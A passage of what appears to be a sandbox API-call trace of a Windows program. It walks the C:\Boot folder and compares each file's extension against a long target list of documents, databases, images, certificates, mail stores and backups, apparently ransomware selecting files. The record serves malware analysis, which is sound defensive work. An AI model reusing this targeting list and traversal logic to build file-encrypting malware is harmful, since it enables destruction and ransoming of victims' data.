(lpString=".dsn") returned 4 [0090.174] lstrcmpiW (lpString1=".dsn", lpString2=".mui") returned -1 [0090.174] lstrlenW (lpString=".dt") returned 3 [0090.174] lstrcmpiW (lpString1=".dt", lpString2="mui") returned -1 [0090.174] lstrlenW (lpString=".dtd") returned 4 [0090.174] lstrcmpiW (lpString1=".dtd", lpString2=".mui") returned -1 [0090.174] lstrlenW (lpString=".dwg") returned 4 [0090.174] lstrcmpiW (lpString1=".dwg", lpString2=".mui") returned -1 [0090.174] lstrlenW (lpString=".dwt") returned 4 [0090.174] lstrcmpiW (lpString1=".dwt", lpString2=".mui") returned -1 [0090.174] lstrlenW (lpString=".dx") returned 3 [0090.174] lstrcmpiW (lpString1=".dx", lpString2="mui") returned -1 [0090.174] lstrlenW (lpString=".dxf") returned 4 [0090.174] lstrcmpiW (lpString1=".dxf", lpString2=".mui") returned -1 [0090.174] lstrlenW (lpString=".edml") returned 5 [0090.174] lstrcmpiW (lpString1=".edml", lpString2="e.mui") returned -1 [0090.174] lstrlenW (lpString=".efd") returned 4 [0090.174] lstrcmpiW (lpString1=".efd", lpString2=".mui") returned -1 [0090.174] lstrlenW (lpString=".elf") returned 4 [0090.175] lstrcmpiW (lpString1=".elf", lpString2=".mui") returned -1 [0090.175] lstrlenW (lpString=".emf") returned 4 [0090.175] lstrcmpiW (lpString1=".emf", lpString2=".mui") returned -1 [0090.175] lstrlenW (lpString=".emz") returned 4 [0090.175] lstrcmpiW (lpString1=".emz", lpString2=".mui") returned -1 [0090.175] lstrlenW (lpString=".epf") returned 4 [0090.175] lstrcmpiW (lpString1=".epf", lpString2=".mui") returned -1 [0090.175] lstrlenW (lpString=".eps") returned 4 [0090.175] lstrcmpiW (lpString1=".eps", lpString2=".mui") returned -1 [0090.175] lstrlenW (lpString=".epsf") returned 5 [0090.175] lstrcmpiW (lpString1=".epsf", lpString2="e.mui") returned -1 [0090.175] lstrlenW (lpString=".epsp") returned 5 [0090.175] lstrcmpiW (lpString1=".epsp", lpString2="e.mui") returned -1 [0090.175] lstrlenW (lpString=".erf") returned 4 [0090.175] lstrcmpiW (lpString1=".erf", lpString2=".mui") returned -1 [0090.175] lstrlenW (lpString=".exr") returned 4 [0090.175] lstrcmpiW (lpString1=".exr", lpString2=".mui") returned -1 [0090.175] lstrlenW (lpString=".f4v") returned 4 [0090.175] lstrcmpiW (lpString1=".f4v", lpString2=".mui") returned -1 [0090.175] lstrlenW (lpString=".fido") returned 5 [0090.175] lstrcmpiW (lpString1=".fido", lpString2="e.mui") returned -1 [0090.175] lstrlenW (lpString=".flm") returned 4 [0090.175] lstrcmpiW (lpString1=".flm", lpString2=".mui") returned -1 [0090.175] lstrlenW (lpString=".flv") returned 4 [0090.175] lstrcmpiW (lpString1=".flv", lpString2=".mui") returned -1 [0090.175] lstrlenW (lpString=".frm") returned 4 [0090.176] lstrcmpiW (lpString1=".frm", lpString2=".mui") returned -1 [0090.176] lstrlenW (lpString=".fxg") returned 4 [0090.176] lstrcmpiW (lpString1=".fxg", lpString2=".mui") returned -1 [0090.176] lstrlenW (lpString=".geo") returned 4 [0090.176] lstrcmpiW (lpString1=".geo", lpString2=".mui") returned -1 [0090.176] lstrlenW (lpString=".gif") returned 4 [0090.176] lstrcmpiW (lpString1=".gif", lpString2=".mui") returned -1 [0090.176] lstrlenW (lpString=".grs") returned 4 [0090.176] lstrcmpiW (lpString1=".grs", lpString2=".mui") returned -1 [0090.176] lstrlenW (lpString=".gz") returned 3 [0090.176] lstrcmpiW (lpString1=".gz", lpString2="mui") returned -1 [0090.176] lstrlenW (lpString=".h") returned 2 [0090.176] lstrcmpiW (lpString1=".h", lpString2="ui") returned -1 [0090.176] lstrlenW (lpString=".hdr") returned 4 [0090.176] lstrcmpiW (lpString1=".hdr", lpString2=".mui") returned -1 [0090.176] lstrlenW (lpString=".hpp") returned 4 [0090.176] lstrcmpiW (lpString1=".hpp", lpString2=".mui") returned -1 [0090.176] lstrlenW (lpString=".hta") returned 4 [0090.176] lstrcmpiW (lpString1=".hta", lpString2=".mui") returned -1 [0090.176] lstrlenW (lpString=".htc") returned 4 [0090.176] lstrcmpiW (lpString1=".htc", lpString2=".mui") returned -1 [0090.176] lstrlenW (lpString=".htm") returned 4 [0090.176] lstrcmpiW (lpString1=".htm", lpString2=".mui") returned -1 [0090.176] lstrlenW (lpString=".html") returned 5 [0090.177] lstrcmpiW (lpString1=".html", lpString2="e.mui") returned -1 [0090.177] lstrlenW (lpString=".icb") returned 4 [0090.177] lstrcmpiW (lpString1=".icb", lpString2=".mui") returned -1 [0090.177] lstrlenW (lpString=".ics") returned 4 [0090.177] lstrcmpiW (lpString1=".ics", lpString2=".mui") returned -1 [0090.177] lstrlenW (lpString=".iff") returned 4 [0090.177] lstrcmpiW (lpString1=".iff", lpString2=".mui") returned -1 [0090.177] lstrlenW (lpString=".inc") returned 4 [0090.177] lstrcmpiW (lpString1=".inc", lpString2=".mui") returned -1 [0090.177] lstrlenW (lpString=".indd") returned 5 [0090.177] lstrcmpiW (lpString1=".indd", lpString2="e.mui") returned -1 [0090.177] lstrlenW (lpString=".ini") returned 4 [0090.177] lstrcmpiW (lpString1=".ini", lpString2=".mui") returned -1 [0090.177] lstrlenW (lpString=".iqy") returned 4 [0090.177] lstrcmpiW (lpString1=".iqy", lpString2=".mui") returned -1 [0090.177] lstrlenW (lpString=".j2c") returned 4 [0090.177] lstrcmpiW (lpString1=".j2c", lpString2=".mui") returned -1 [0090.177] lstrlenW (lpString=".j2k") returned 4 [0090.177] lstrcmpiW (lpString1=".j2k", lpString2=".mui") returned -1 [0090.177] lstrlenW (lpString=".java") returned 5 [0090.177] lstrcmpiW (lpString1=".java", lpString2="e.mui") returned -1 [0090.177] lstrlenW (lpString=".jp2") returned 4 [0090.177] lstrcmpiW (lpString1=".jp2", lpString2=".mui") returned -1 [0090.177] lstrlenW (lpString=".jpc") returned 4 [0090.177] lstrcmpiW (lpString1=".jpc", lpString2=".mui") returned -1 [0090.178] lstrlenW (lpString=".jpe") returned 4 [0090.178] lstrcmpiW (lpString1=".jpe", lpString2=".mui") returned -1 [0090.178] lstrlenW (lpString=".jpeg") returned 5 [0090.178] lstrcmpiW (lpString1=".jpeg", lpString2="e.mui") returned -1 [0090.178] lstrlenW (lpString=".jpf") returned 4 [0090.178] lstrcmpiW (lpString1=".jpf", lpString2=".mui") returned -1 [0090.178] lstrlenW (lpString=".jpg") returned 4 [0090.178] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0090.178] lstrlenW (lpString=".jpx") returned 4 [0090.178] lstrcmpiW (lpString1=".jpx", lpString2=".mui") returned -1 [0090.178] lstrlenW (lpString=".js") returned 3 [0090.178] lstrcmpiW (lpString1=".js", lpString2="mui") returned -1 [0090.178] lstrlenW (lpString=".jsf") returned 4 [0090.178] lstrcmpiW (lpString1=".jsf", lpString2=".mui") returned -1 [0090.179] lstrlenW (lpString=".json") returned 5 [0090.179] lstrcmpiW (lpString1=".json", lpString2="e.mui") returned -1 [0090.179] lstrlenW (lpString=".jsp") returned 4 [0090.179] lstrcmpiW (lpString1=".jsp", lpString2=".mui") returned -1 [0090.179] lstrlenW (lpString=".kdc") returned 4 [0090.179] lstrcmpiW (lpString1=".kdc", lpString2=".mui") returned -1 [0090.179] lstrlenW (lpString=".kmz") returned 4 [0090.179] lstrcmpiW (lpString1=".kmz", lpString2=".mui") returned -1 [0090.179] lstrlenW (lpString=".kwm") returned 4 [0090.179] lstrcmpiW (lpString1=".kwm", lpString2=".mui") returned -1 [0090.179] lstrlenW (lpString=".lasso") returned 6 [0090.179] lstrcmpiW (lpString1=".lasso", lpString2="xe.mui") returned -1 [0090.179] lstrlenW (lpString=".lbi") returned 4 [0090.179] lstrcmpiW (lpString1=".lbi", lpString2=".mui") returned -1 [0090.179] lstrlenW (lpString=".lgf") returned 4 [0090.179] lstrcmpiW (lpString1=".lgf", lpString2=".mui") returned -1 [0090.179] lstrlenW (lpString=".lgp") returned 4 [0090.179] lstrcmpiW (lpString1=".lgp", lpString2=".mui") returned -1 [0090.179] lstrlenW (lpString=".log") returned 4 [0090.179] lstrcmpiW (lpString1=".log", lpString2=".mui") returned -1 [0090.179] lstrlenW (lpString=".m1v") returned 4 [0090.179] lstrcmpiW (lpString1=".m1v", lpString2=".mui") returned -1 [0090.179] lstrlenW (lpString=".m4a") returned 4 [0090.179] lstrcmpiW (lpString1=".m4a", lpString2=".mui") returned -1 [0090.179] lstrlenW (lpString=".m4v") returned 4 [0090.179] lstrcmpiW (lpString1=".m4v", lpString2=".mui") returned -1 [0090.180] lstrlenW (lpString=".max") returned 4 [0090.180] lstrcmpiW (lpString1=".max", lpString2=".mui") returned -1 [0090.180] lstrlenW (lpString=".md") returned 3 [0090.180] lstrcmpiW (lpString1=".md", lpString2="mui") returned -1 [0090.180] lstrlenW (lpString=".mda") returned 4 [0090.180] lstrcmpiW (lpString1=".mda", lpString2=".mui") returned -1 [0090.180] lstrlenW (lpString=".mdb") returned 4 [0090.180] lstrcmpiW (lpString1=".mdb", lpString2=".mui") returned -1 [0090.180] lstrlenW (lpString=".mde") returned 4 [0090.180] lstrcmpiW (lpString1=".mde", lpString2=".mui") returned -1 [0090.180] lstrlenW (lpString=".mdf") returned 4 [0090.180] lstrcmpiW (lpString1=".mdf", lpString2=".mui") returned -1 [0090.180] lstrlenW (lpString=".mdw") returned 4 [0090.180] lstrcmpiW (lpString1=".mdw", lpString2=".mui") returned -1 [0090.180] lstrlenW (lpString=".mef") returned 4 [0090.180] lstrcmpiW (lpString1=".mef", lpString2=".mui") returned -1 [0090.180] lstrlenW (lpString=".mft") returned 4 [0090.180] lstrcmpiW (lpString1=".mft", lpString2=".mui") returned -1 [0090.180] lstrlenW (lpString=".mfw") returned 4 [0090.180] lstrcmpiW (lpString1=".mfw", lpString2=".mui") returned -1 [0090.180] lstrlenW (lpString=".mht") returned 4 [0090.180] lstrcmpiW (lpString1=".mht", lpString2=".mui") returned -1 [0090.180] lstrlenW (lpString=".mhtml") returned 6 [0090.180] lstrcmpiW (lpString1=".mhtml", lpString2="xe.mui") returned -1 [0090.181] lstrlenW (lpString=".mka") returned 4 [0090.181] lstrcmpiW (lpString1=".mka", lpString2=".mui") returned -1 [0090.181] lstrlenW (lpString=".mkidx") returned 6 [0090.181] lstrcmpiW (lpString1=".mkidx", lpString2="xe.mui") returned -1 [0090.181] lstrlenW (lpString=".mkv") returned 4 [0090.181] lstrcmpiW (lpString1=".mkv", lpString2=".mui") returned -1 [0090.181] lstrlenW (lpString=".mos") returned 4 [0090.181] lstrcmpiW (lpString1=".mos", lpString2=".mui") returned -1 [0090.181] lstrlenW (lpString=".mov") returned 4 [0090.181] lstrcmpiW (lpString1=".mov", lpString2=".mui") returned -1 [0090.181] lstrlenW (lpString=".mp3") returned 4 [0090.181] lstrcmpiW (lpString1=".mp3", lpString2=".mui") returned -1 [0090.181] lstrlenW (lpString=".mp4") returned 4 [0090.181] lstrcmpiW (lpString1=".mp4", lpString2=".mui") returned -1 [0090.181] lstrlenW (lpString=".mpeg") returned 5 [0090.181] lstrcmpiW (lpString1=".mpeg", lpString2="e.mui") returned -1 [0090.181] lstrlenW (lpString=".mpg") returned 4 [0090.181] lstrcmpiW (lpString1=".mpg", lpString2=".mui") returned -1 [0090.181] lstrlenW (lpString=".mpv") returned 4 [0090.181] lstrcmpiW (lpString1=".mpv", lpString2=".mui") returned -1 [0090.181] lstrlenW (lpString=".mrw") returned 4 [0090.181] lstrcmpiW (lpString1=".mrw", lpString2=".mui") returned -1 [0090.181] lstrlenW (lpString=".msg") returned 4 [0090.181] lstrcmpiW (lpString1=".msg", lpString2=".mui") returned -1 [0090.181] lstrlenW (lpString=".mxl") returned 4 [0090.182] lstrcmpiW (lpString1=".mxl", lpString2=".mui") returned 1 [0090.182] lstrlenW (lpString=".myd") returned 4 [0090.182] lstrcmpiW (lpString1=".myd", lpString2=".mui") returned 1 [0090.182] lstrlenW (lpString=".myi") returned 4 [0090.182] lstrcmpiW (lpString1=".myi", lpString2=".mui") returned 1 [0090.182] lstrlenW (lpString=".nef") returned 4 [0090.182] lstrcmpiW (lpString1=".nef", lpString2=".mui") returned 1 [0090.182] lstrlenW (lpString=".nrw") returned 4 [0090.182] lstrcmpiW (lpString1=".nrw", lpString2=".mui") returned 1 [0090.182] lstrlenW (lpString=".obj") returned 4 [0090.182] lstrcmpiW (lpString1=".obj", lpString2=".mui") returned 1 [0090.182] lstrlenW (lpString=".odb") returned 4 [0090.182] lstrcmpiW (lpString1=".odb", lpString2=".mui") returned 1 [0090.182] lstrlenW (lpString=".odc") returned 4 [0090.182] lstrcmpiW (lpString1=".odc", lpString2=".mui") returned 1 [0090.182] lstrlenW (lpString=".odm") returned 4 [0090.182] lstrcmpiW (lpString1=".odm", lpString2=".mui") returned 1 [0090.182] lstrlenW (lpString=".odp") returned 4 [0090.182] lstrcmpiW (lpString1=".odp", lpString2=".mui") returned 1 [0090.182] lstrlenW (lpString=".ods") returned 4 [0090.182] lstrcmpiW (lpString1=".ods", lpString2=".mui") returned 1 [0090.182] lstrlenW (lpString=".oft") returned 4 [0090.182] lstrcmpiW (lpString1=".oft", lpString2=".mui") returned 1 [0090.182] lstrlenW (lpString=".one") returned 4 [0090.182] lstrcmpiW (lpString1=".one", lpString2=".mui") returned 1 [0090.182] lstrlenW (lpString=".onepkg") returned 7 [0090.183] lstrcmpiW (lpString1=".onepkg", lpString2="exe.mui") returned -1 [0090.183] lstrlenW (lpString=".onetoc2") returned 8 [0090.183] lstrcmpiW (lpString1=".onetoc2", lpString2=".exe.mui") returned 1 [0090.183] lstrlenW (lpString=".opt") returned 4 [0090.183] lstrcmpiW (lpString1=".opt", lpString2=".mui") returned 1 [0090.183] lstrlenW (lpString=".oqy") returned 4 [0090.183] lstrcmpiW (lpString1=".oqy", lpString2=".mui") returned 1 [0090.183] lstrlenW (lpString=".orf") returned 4 [0090.183] lstrcmpiW (lpString1=".orf", lpString2=".mui") returned 1 [0090.183] lstrlenW (lpString=".p12") returned 4 [0090.183] lstrcmpiW (lpString1=".p12", lpString2=".mui") returned 1 [0090.183] lstrlenW (lpString=".p7b") returned 4 [0090.183] lstrcmpiW (lpString1=".p7b", lpString2=".mui") returned 1 [0090.183] lstrlenW (lpString=".p7c") returned 4 [0090.183] lstrcmpiW (lpString1=".p7c", lpString2=".mui") returned 1 [0090.183] lstrlenW (lpString=".pam") returned 4 [0090.183] lstrcmpiW (lpString1=".pam", lpString2=".mui") returned 1 [0090.183] lstrlenW (lpString=".pbm") returned 4 [0090.183] lstrcmpiW (lpString1=".pbm", lpString2=".mui") returned 1 [0090.184] lstrlenW (lpString=".pct") returned 4 [0090.184] lstrcmpiW (lpString1=".pct", lpString2=".mui") returned 1 [0090.184] lstrlenW (lpString=".pcx") returned 4 [0090.184] lstrcmpiW (lpString1=".pcx", lpString2=".mui") returned 1 [0090.184] lstrlenW (lpString=".pdd") returned 4 [0090.184] lstrcmpiW (lpString1=".pdd", lpString2=".mui") returned 1 [0090.184] lstrlenW (lpString=".pdf") returned 4 [0090.184] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0090.184] lstrlenW (lpString=".pdp") returned 4 [0090.184] lstrcmpiW (lpString1=".pdp", lpString2=".mui") returned 1 [0090.184] lstrlenW (lpString=".pef") returned 4 [0090.184] lstrcmpiW (lpString1=".pef", lpString2=".mui") returned 1 [0090.184] lstrlenW (lpString=".pem") returned 4 [0090.184] lstrcmpiW (lpString1=".pem", lpString2=".mui") returned 1 [0090.184] lstrlenW (lpString=".pff") returned 4 [0090.184] lstrcmpiW (lpString1=".pff", lpString2=".mui") returned 1 [0090.184] lstrlenW (lpString=".pfm") returned 4 [0090.184] lstrcmpiW (lpString1=".pfm", lpString2=".mui") returned 1 [0090.184] lstrlenW (lpString=".pfx") returned 4 [0090.184] lstrcmpiW (lpString1=".pfx", lpString2=".mui") returned 1 [0090.184] lstrlenW (lpString=".pgm") returned 4 [0090.184] lstrcmpiW (lpString1=".pgm", lpString2=".mui") returned 1 [0090.184] lstrlenW (lpString=".php") returned 4 [0090.185] lstrcmpiW (lpString1=".php", lpString2=".mui") returned 1 [0090.185] lstrlenW (lpString=".php3") returned 5 [0090.185] lstrcmpiW (lpString1=".php3", lpString2="e.mui") returned -1 [0090.185] lstrlenW (lpString=".php4") returned 5 [0090.185] lstrcmpiW (lpString1=".php4", lpString2="e.mui") returned -1 [0090.185] lstrlenW (lpString=".php5") returned 5 [0090.185] lstrcmpiW (lpString1=".php5", lpString2="e.mui") returned -1 [0090.185] lstrlenW (lpString=".phtml") returned 6 [0090.185] lstrcmpiW (lpString1=".phtml", lpString2="xe.mui") returned -1 [0090.185] lstrlenW (lpString=".pict") returned 5 [0090.185] lstrcmpiW (lpString1=".pict", lpString2="e.mui") returned -1 [0090.185] lstrlenW (lpString=".pl") returned 3 [0090.185] lstrcmpiW (lpString1=".pl", lpString2="mui") returned -1 [0090.185] lstrlenW (lpString=".pls") returned 4 [0090.185] lstrcmpiW (lpString1=".pls", lpString2=".mui") returned 1 [0090.185] lstrlenW (lpString=".pm") returned 3 [0090.185] lstrcmpiW (lpString1=".pm", lpString2="mui") returned -1 [0090.185] lstrlenW (lpString=".png") returned 4 [0090.185] lstrcmpiW (lpString1=".png", lpString2=".mui") returned 1 [0090.185] lstrlenW (lpString=".pnm") returned 4 [0090.185] lstrcmpiW (lpString1=".pnm", lpString2=".mui") returned 1 [0090.186] lstrlenW (lpString=".pot") returned 4 [0090.186] lstrcmpiW (lpString1=".pot", lpString2=".mui") returned 1 [0090.186] lstrlenW (lpString=".potm") returned 5 [0090.186] lstrcmpiW (lpString1=".potm", lpString2="e.mui") returned -1 [0090.186] lstrlenW (lpString=".potx") returned 5 [0090.186] lstrcmpiW (lpString1=".potx", lpString2="e.mui") returned -1 [0090.186] lstrlenW (lpString=".ppa") returned 4 [0090.186] lstrcmpiW (lpString1=".ppa", lpString2=".mui") returned 1 [0090.186] lstrlenW (lpString=".ppam") returned 5 [0090.186] lstrcmpiW (lpString1=".ppam", lpString2="e.mui") returned -1 [0090.186] lstrlenW (lpString=".ppm") returned 4 [0090.186] lstrcmpiW (lpString1=".ppm", lpString2=".mui") returned 1 [0090.186] lstrlenW (lpString=".pps") returned 4 [0090.186] lstrcmpiW (lpString1=".pps", lpString2=".mui") returned 1 [0090.186] lstrlenW (lpString=".ppsm") returned 5 [0090.186] lstrcmpiW (lpString1=".ppsm", lpString2="e.mui") returned -1 [0090.186] lstrlenW (lpString=".ppt") returned 4 [0090.186] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0090.186] lstrlenW (lpString=".pptm") returned 5 [0090.186] lstrcmpiW (lpString1=".pptm", lpString2="e.mui") returned -1 [0090.186] lstrlenW (lpString=".pptx") returned 5 [0090.186] lstrcmpiW (lpString1=".pptx", lpString2="e.mui") returned -1 [0090.186] lstrlenW (lpString=".prn") returned 4 [0090.186] lstrcmpiW (lpString1=".prn", lpString2=".mui") returned 1 [0090.186] lstrlenW (lpString=".ps") returned 3 [0090.186] lstrcmpiW (lpString1=".ps", lpString2="mui") returned -1 [0090.187] lstrlenW (lpString=".psb") returned 4 [0090.187] lstrcmpiW (lpString1=".psb", lpString2=".mui") returned 1 [0090.187] lstrlenW (lpString=".psd") returned 4 [0090.187] lstrcmpiW (lpString1=".psd", lpString2=".mui") returned 1 [0090.187] lstrlenW (lpString=".pst") returned 4 [0090.187] lstrcmpiW (lpString1=".pst", lpString2=".mui") returned 1 [0090.187] lstrlenW (lpString=".ptx") returned 4 [0090.187] lstrcmpiW (lpString1=".ptx", lpString2=".mui") returned 1 [0090.187] lstrlenW (lpString=".pub") returned 4 [0090.187] lstrcmpiW (lpString1=".pub", lpString2=".mui") returned 1 [0090.187] lstrlenW (lpString=".pwm") returned 4 [0090.187] lstrcmpiW (lpString1=".pwm", lpString2=".mui") returned 1 [0090.187] lstrlenW (lpString=".pxr") returned 4 [0090.187] lstrcmpiW (lpString1=".pxr", lpString2=".mui") returned 1 [0090.187] lstrlenW (lpString=".py") returned 3 [0090.187] lstrcmpiW (lpString1=".py", lpString2="mui") returned -1 [0090.187] lstrlenW (lpString=".qt") returned 3 [0090.187] lstrcmpiW (lpString1=".qt", lpString2="mui") returned -1 [0090.187] lstrlenW (lpString=".r3d") returned 4 [0090.187] lstrcmpiW (lpString1=".r3d", lpString2=".mui") returned 1 [0090.187] lstrlenW (lpString=".raf") returned 4 [0090.187] lstrcmpiW (lpString1=".raf", lpString2=".mui") returned 1 [0090.187] lstrlenW (lpString=".rar") returned 4 [0090.187] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0090.188] FindNextFileW (in: hFindFile=0x4260250, lpFindFileData=0x3cdf800 | out: lpFindFileData=0x3cdf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4853f40, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef586d37, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf3a246aa, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb3a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1 [0090.188] FindNextFileW (in: hFindFile=0x4260250, lpFindFileData=0x3cdf800 | out: lpFindFileData=0x3cdf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4853f40, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef586d37, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf3a246aa, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb3a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 0 [0090.188] FindClose (in: hFindFile=0x4260250 | out: hFindFile=0x4260250) returned 1 [0090.188] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x4273e70 | out: hHeap=0x440000) returned 1 [0090.188] FindNextFileW (in: hFindFile=0x4260490, lpFindFileData=0x3cdfa7c | out: lpFindFileData=0x3cdfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4853f40, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa000c12e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xc4853f40, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="es-MX", cAlternateFileName="")) returned 1 [0090.188] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0xfffe) returned 0x4273e70 [0090.188] lstrlenW (lpString="C:\\Boot\\es-MX") returned 13 [0090.188] FindFirstFileW (in: lpFileName="C:\\Boot\\es-MX\\*", lpFindFileData=0x3cdf800 | out: lpFindFileData=0x3cdf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4853f40, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa000c12e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xc4853f40, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4260690 [0090.189] FindNextFileW (in: hFindFile=0x4260690, lpFindFileData=0x3cdf800 | out: lpFindFileData=0x3cdf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4853f40, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa000c12e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xc4853f40, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0090.189] FindNextFileW (in: hFindFile=0x4260690, lpFindFileData=0x3cdf800 | out: lpFindFileData=0x3cdf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4853f40, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4853f40, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x209949ab, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12f60, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0090.189] lstrlenW (lpString="bootmgr.exe.mui") returned 15 [0090.189] lstrlenW (lpString=".1cd") returned 4 [0090.189] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0090.189] lstrlenW (lpString=".3ds") returned 4 [0090.189] lstrcmpiW (lpString1=".3ds", lpString2=".mui") returned -1 [0090.189] lstrlenW (lpString=".3fr") returned 4 [0090.189] lstrcmpiW (lpString1=".3fr", lpString2=".mui") returned -1 [0090.189] lstrlenW (lpString=".3g2") returned 4 [0090.189] lstrcmpiW (lpString1=".3g2", lpString2=".mui") returned -1 [0090.189] lstrlenW (lpString=".3gp") returned 4 [0090.189] lstrcmpiW (lpString1=".3gp", lpString2=".mui") returned -1 [0090.189] lstrlenW (lpString=".7z") returned 3 [0090.189] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0090.189] lstrlenW (lpString=".accda") returned 6 [0090.189] lstrcmpiW (lpString1=".accda", lpString2="xe.mui") returned -1 [0090.189] lstrlenW (lpString=".accdb") returned 6 [0090.189] lstrcmpiW (lpString1=".accdb", lpString2="xe.mui") returned -1 [0090.189] lstrlenW (lpString=".accdc") returned 6 [0090.189] lstrcmpiW (lpString1=".accdc", lpString2="xe.mui") returned -1 [0090.189] lstrlenW (lpString=".accde") returned 6 [0090.189] lstrcmpiW (lpString1=".accde", lpString2="xe.mui") returned -1 [0090.190] lstrlenW (lpString=".accdt") returned 6 [0090.190] lstrcmpiW (lpString1=".accdt", lpString2="xe.mui") returned -1 [0090.190] lstrlenW (lpString=".accdw") returned 6 [0090.190] lstrcmpiW (lpString1=".accdw", lpString2="xe.mui") returned -1 [0090.190] lstrlenW (lpString=".adb") returned 4 [0090.190] lstrcmpiW (lpString1=".adb", lpString2=".mui") returned -1 [0090.190] lstrlenW (lpString=".adp") returned 4 [0090.190] lstrcmpiW (lpString1=".adp", lpString2=".mui") returned -1 [0090.190] lstrlenW (lpString=".ai") returned 3 [0090.190] lstrcmpiW (lpString1=".ai", lpString2="mui") returned -1 [0090.190] lstrlenW (lpString=".ai3") returned 4 [0090.190] lstrcmpiW (lpString1=".ai3", lpString2=".mui") returned -1 [0090.190] lstrlenW (lpString=".ai4") returned 4 [0090.190] lstrcmpiW (lpString1=".ai4", lpString2=".mui") returned -1 [0090.190] lstrlenW (lpString=".ai5") returned 4 [0090.190] lstrcmpiW (lpString1=".ai5", lpString2=".mui") returned -1 [0090.190] lstrlenW (lpString=".ai6") returned 4 [0090.190] lstrcmpiW (lpString1=".ai6", lpString2=".mui") returned -1 [0090.190] lstrlenW (lpString=".ai7") returned 4 [0090.191] lstrcmpiW (lpString1=".ai7", lpString2=".mui") returned -1 [0090.191] lstrlenW (lpString=".ai8") returned 4 [0090.191] lstrcmpiW (lpString1=".ai8", lpString2=".mui") returned -1 [0090.191] lstrlenW (lpString=".anim") returned 5 [0090.191] lstrcmpiW (lpString1=".anim", lpString2="e.mui") returned -1 [0090.191] lstrlenW (lpString=".arw") returned 4 [0090.191] lstrcmpiW (lpString1=".arw", lpString2=".mui") returned -1 [0090.191] lstrlenW (lpString=".as") returned 3 [0090.191] lstrcmpiW (lpString1=".as", lpString2="mui") returned -1 [0090.191] lstrlenW (lpString=".asa") returned 4 [0090.191] lstrcmpiW (lpString1=".asa", lpString2=".mui") returned -1 [0090.191] lstrlenW (lpString=".asc") returned 4 [0090.191] lstrcmpiW (lpString1=".asc", lpString2=".mui") returned -1 [0090.191] lstrlenW (lpString=".ascx") returned 5 [0090.191] lstrcmpiW (lpString1=".ascx", lpString2="e.mui") returned -1 [0090.191] lstrlenW (lpString=".asm") returned 4 [0090.191] lstrcmpiW (lpString1=".asm", lpString2=".mui") returned -1 [0090.191] lstrlenW (lpString=".asmx") returned 5 [0090.191] lstrcmpiW (lpString1=".asmx", lpString2="e.mui") returned -1 [0090.191] lstrlenW (lpString=".asp") returned 4 [0090.191] lstrcmpiW (lpString1=".asp", lpString2=".mui") returned -1 [0090.191] lstrlenW (lpString=".aspx") returned 5 [0090.192] lstrcmpiW (lpString1=".aspx", lpString2="e.mui") returned -1 [0090.192] lstrlenW (lpString=".asr") returned 4 [0090.192] lstrcmpiW (lpString1=".asr", lpString2=".mui") returned -1 [0090.192] lstrlenW (lpString=".asx") returned 4 [0090.192] lstrcmpiW (lpString1=".asx", lpString2=".mui") returned -1 [0090.192] lstrlenW (lpString=".avi") returned 4 [0090.192] lstrcmpiW (lpString1=".avi", lpString2=".mui") returned -1 [0090.192] lstrlenW (lpString=".avs") returned 4 [0090.192] lstrcmpiW (lpString1=".avs", lpString2=".mui") returned -1 [0090.192] lstrlenW (lpString=".backup") returned 7 [0090.192] lstrcmpiW (lpString1=".backup", lpString2="exe.mui") returned -1 [0090.192] lstrlenW (lpString=".bak") returned 4 